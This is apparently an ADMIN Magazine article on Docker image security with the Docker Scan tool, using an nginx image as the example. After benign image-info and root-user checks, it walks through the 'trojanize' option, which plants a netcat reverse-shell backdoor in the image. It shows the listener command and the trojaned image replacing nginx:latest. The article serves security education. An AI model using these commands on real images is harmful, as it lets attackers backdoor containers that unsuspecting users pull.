Docker image security analysis


Personal Brand

Note that in this next section I'm going to walk you part way through the YouTube video [9] that the authors of Docker Scan offer as a reference. There isn't space to fit in all the details that I'd like to include in this article, so if you prefer, you can view the video directly, which is a visual recording of two terminals.

The first step pulls down a public image (from the Docker Hub registry in this case) and saves the container image to your filesystem. I'll also use the popular web server, Nginx, as an example, which is mentioned in the video, too. To begin, I pull down the latest version and save it to disk:

$ docker pull nginx
$ docker save nginx -o nginx-image

Here, I'm simply downloading the nginx image with the "latest" tag and then saving the image (-o) to the filename nginx-image.

Next, I run a dockerscan image info command. Listing 1 shows the tool's output. If you think back to the Dockerfile, you're seeing some of the basic layering information, which is useful for checking that you're working on the correct image.

Listing 1

Docker Scan info

$ dockerscan image info nginx-image
[ * ] Starting analyzing docker image...
[ * ] Selected image: 'nginx'
[ * ] Analysis finished. Results:
[ * ] - Created date = 2019-02-06T08:11:09.870777091Z
[ * ] - Docker version = 18.06.1-ce
[ * ] - Cmd = nginx -g daemon off;
[ * ] - Labels:
[ * ]   > maintainer
[ * ] - Environment:
[ * ]   > PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[ * ]   > NGINX_VERSION=1.15.8-1~stretch
[ * ]   > NJS_VERSION=
[ * ] - Exposed ports:
[ * ]   > 80:
[ * ]     + tcp

You're Attacking Me?

A more sophisticated feature of Docker Scan is the analyze option, which inspects the image for any obvious security issues:

$ dockerscan image analyze nginx-image
[ * ] Starting the analysis of docker image...
[ * ] Selected image: 'nginx'
[ * ] Analysis finished. Results:
[ * ] - Running user = root

As you can see from the output, running the image as root has been flagged as an issue. Users inside containers should be less privileged, to limit their attack surface. If you're interested in improving your container and host security, I wrote about hardening Docker and using Docker namespaces [10] a couple of years ago. However, things move quickly in this field, so you should potentially check for newer documentation to supplement that information.

Helen of Troy

The image modify submenu

$ dockerscan image modify -h

offers the trojanize option to modify and then inject a nasty way of getting access to that container at a later stage. The premise is that this method is much easier than manually making alterations to Dockerfiles, although you easily can automate both types of changes in scripts; if an image registry is overly trustworthy, then once your image is uploaded, other people will unwittingly download your image without knowledge of it being tainted.

To embed a shell backdoor into your Docker image, you can use the unquestionably superb netcat tool [11]. The relatively simple command

$ dockerscan image modify trojanize nginx-image -l XXX.XXX.XXX.XXX -p 2222 -o nginx-trojan

saves a new container image to the filesystem called nginx-trojan, which you can upload later to a registry.

To protect the innocent, I've obfuscated the IP address, so replace XXX.XXX.XXX.XXX with the IP address on which you want netcat to listen in. Listing 2 is the output from the dockerscan command. Netcat is now listening from within your container as a backdoor. To make use of your new image, just check your filesystem, and you should see the file nginx-trojan.tar.

Listing 2

trojanize Output

[ * ] Starting analyzing docker image...
[ * ] Selected image: 'nginx'
[ * ] Image trojanized successful
[ * ] Trojanized image location:
[ * ]   > /root/nginx-trojan.tar
[ * ] To receive the reverse shell, only write:
[ * ]   > nc -v -k -l XXX.XXX.XXX.XXX 2222

Now run the load command shown in Listing 3 to import your saved tarball file back into Docker. The -i switch allows an input string. As you can see from the output, Docker tidied up after itself by renaming the old image.

Listing 3

Import Trojan Image

$ docker load -i nginx-trojan.tar
53bbd7a916c6: Loading layer [==================================================>]  20.48kB/20.48kB
The image nginx:latest already exists, renaming the old one with ID sha256: f09fe80eb0e75e97b04b9dfb065ac3fda37a8fac0161f42fca1e6fe4d0977c80 to empty string
Loaded image: nginx:latest

With the docker images command, you can see exactly what it has done. The new image containing the trojan now has the hashed ID 35640fed495c (Listing 4).

Listing 4

docker images

$ docker images
nginx        <none>   f09fe80eb0e7   12 days ago   109MB
nginx        latest   35640fed495c   12 days ago   109MB

Buy this article as PDF

Express-Checkout as PDF
Price $2.95
(incl. VAT)

Buy ADMIN Magazine

Get it on Google Play

US / Canada

Get it on Google Play

UK / Australia

Related content

comments powered by Disqus
Subscribe to our ADMIN Newsletters
Subscribe to our Linux Newsletters
Find Linux and Open Source Jobs

Support Our Work

ADMIN content is made possible with support from readers like you. Please consider contributing when you've found an article to be beneficial.